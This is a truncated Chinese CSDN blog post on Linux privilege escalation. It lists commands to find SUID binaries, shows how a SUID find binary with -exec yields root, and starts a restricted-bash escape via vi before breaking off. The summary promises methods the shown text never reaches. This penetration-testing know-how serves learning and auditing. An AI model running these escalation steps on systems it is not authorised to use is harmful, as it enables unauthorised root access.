Linux怎么对当前目录提权,linux提权方法(不断总结更新)

本文介绍了多种Linux提权方法,包括利用suid权限的find命令提权、rbash绕过限制提权、git帮助提权以及sudoers配置文件错误导致的提权。详细讲解了如何通过find、rbash、vi、more、less、python、ruby、perl等工具进行提权,并提到了sudoers文件的配置和滥用。
摘要由CSDN通过智能技术生成

1.suid提权

运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)

搜索符合条件的可以用来提权的:

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

find / -user root -perm -4000 -print 2>/dev/null

三种都可以

搜索可以提权的程序,一般有以下 :

nmap vim find Bash More Less Nano cp

举例:find提权

find / -perm -u=s -type f 2>/dev/null

854943133b072c99928176823089c731.png

发现find可以利用

普通用户,进入到/tmp目录下,然后新建一个文件。

touch abcd

find abcd -exec whoami ;

983f0545c1cb9a4ff01e331f0c3df13c.png

会发现已经是root权限

2.rbash绕过

rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,我们可以查看$PATH有哪些,或者自己挨个试

echo $PATH #查看自己可以使用的命令

0fb1e3eb9dfcb98f6854eb5d5ce3c009.png

less,ls,scp,vi 是我们可以用的

尝试用以下来绕过

#干就完事了

1.

vi test

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值